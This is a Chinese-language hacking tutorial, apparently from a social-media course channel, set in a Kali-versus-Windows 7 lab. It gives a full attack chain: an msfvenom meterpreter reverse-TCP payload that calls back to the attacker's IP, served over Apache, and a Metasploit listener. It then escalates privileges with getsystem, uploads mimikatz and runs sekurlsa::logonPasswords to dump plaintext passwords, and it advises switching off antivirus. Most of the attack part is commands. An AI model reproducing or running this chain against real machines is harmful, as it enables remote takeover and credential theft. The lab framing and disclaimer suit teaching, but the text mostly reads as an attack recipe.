本文仅用于讨论网络安全技术,以保护信息安全为目的,请勿用于非法用途!
Hash,就是被一种特殊的加密方法加密过的一段特殊字符文件。常见的hash加密有:md5、sha-512,sha-256、sha1等。
Hash算法理论上是不可逆,也就说对hash算法无法将字符串解密成明文。但是我们可以通过碰撞的方法进行求解,通过不可逆的单向hash函数计算出它的hash值,然后与之前的hash进行比较,就能判断是否解密。
Windows系统的SAM文件,就是被二次加密过的hash密文字符文件!这个SAM文件一般存在windows的系统目录c:windowssystem32config中。如果是xp系统,不仅在上面的目录中存在,而且还在c:windowsrepair目录下存在备份的SAM文件。
注意,SAM文件不是单纯的hash文件,它是被二次加密过的特殊字符文件,必须将它解密成正常的hash文件,才能继续解密成明文密码!
使用msfvenom生成windows有效载荷,kali终端下输入:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.31.206 LPORT=8888 -f exe > test.exe
LHOST是你kali的桥接网络IP;LPORT随便设置,只要不和其他冲突即可。
将主目录下生成的可执行载荷放到kali的/var/www/html中,并且删除html目录下.html为后缀的文件(没有就不用管!)
开启kali的Apache2服务,在终端中输入: service apache2 start
Apache2可以提供基本的web服务,也就是说远程的靶机可以访问kali的ip就可以自动访问kali的/va/www/html/下的文件,进行访问下载!Apache2此时就相当于一个小型服务器!
win7靶机(桥接网络)浏览器输入:192.168.31.206,然后选中test.exe进行下载到桌面。
kali,启动metasploit工具,并设置监听:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.31.206
set lport 8888
run
既然已经设置了监听,我们直接去win7模拟运行有效载荷test.exe,然后就会看到kali的metasploit就会收到会话!(这里建议将win7的360关掉)
我们已经获得了win7靶机的meterpreter会话,现在我们可以通过一个meterpreter命令"hashdump"就可以直接下载win7靶机的hash文件,这里获取的不是被二次加密的SAM文件,而是自动获取win7被解密后的SAM文件形成的hash值!
但是我们首先需要看下当前获得的会话是什么权限?输入:getuid
管理员权限,不是system权限,无法提取hash值,我们第一步就需要直接输入"getsystem"来使用meterpreter默认的技术进行win7提权!看看能不能变成system权限。执行完毕,输入getuid查看,已经是system权限!Bingo!
知识补充:如果输入getsystem无法提权,这就需要其他的利用模块绕过win7的提权,这里暂时不讲,以后会讲解!
我们输入:hashdump,看看是否得到hash值?
很不幸,没有得到我们想要的hash值,原因是部分win7系统拒绝metasploit进行访问提取hash,请记住,这是一种方法,有的系统是可以直接进行提取hash值的。我们继续试探!
既然直接输入hashdump不行,我们试试上传mimikatz到win7靶机中进行远程抓取!
首先将本课共享文件夹中的"mimikatz压缩包"下载到kali主目录下。关注小白嘿客,回复“想学”获取!然后在meterpreter中将解压后Win32文件夹中的文件上传到win7靶机的c盘下。
上传命令是:upload Win32 c:\
然后在meterpreter中输入"shell"进入win7靶机的cmd终端模拟器。
如果出现乱码,输入chcp 65001即可解决乱码。
这里获得的cmd显示在我们kali的桌面中,我们应该切换到c盘根目录下(我们上面上传过去的文件就在这里!),你发现cmd此时就在c:下,然后输入dir查看验证下远程的win7靶机c盘是否有我们上传上去的mimikatz!
在cmd中输入:mimikatz.exe
远程启动我们的解密工具。这里需要提醒,如果之前的meterpreter会话断开过,需要重现建立,而且要保证已经使用meterpreter的getsystem命令进行了本地对远程win7靶机的提权!否则mimikatz.exe可能无法运行!
然后输入:privilege::debug,显示20 ok即可完成提权!
然后输入:sekurlsa::logonPasswords,开始远程抓取win7靶机的hash值!
你会很开心的!看下图!
理论上会将win7靶机的所有用户以及密码都打印在meterpreter会话中的模拟cmd窗口中!我们这里只关注Administrator这个管理员用户!你设置发现SHA1这种hash值根本就不用解密,红色的框中已经自动解密出密码123456,用户Administrator了!
到此,我们利用meterpreter会话上传mimikatz到win7靶机上,然后在kali中实现操控靶机的cmd,成功破解出了明文口令!根本就不需要拿到hash值,当然如果拿不到明文密码,有hash值也可以直接进行破解。
我们知道,mimikatz容易被杀毒软件查杀,也就是说我们本课将这个mimikatz上传到win7靶机中后,如果有杀毒软件,那是根本无法直接像本课一样获取远程靶机的hash明文密码的。所以我们需要另外一种技术,通过将远程win7靶机的lsass.exe进程(该进程使用windows的用户SAM文件)保存成一个dmp文件,然后下载到我们kali本地,直接在我们本地主机上使用mimikatz进行解密!
下节课,我们将探讨规避360进行远程破解、甚至是使用john直接解密SAM加密文件!更多精彩,关注小白嘿客,私信获取hac技术课程!欢迎在下方评论区留言讨论!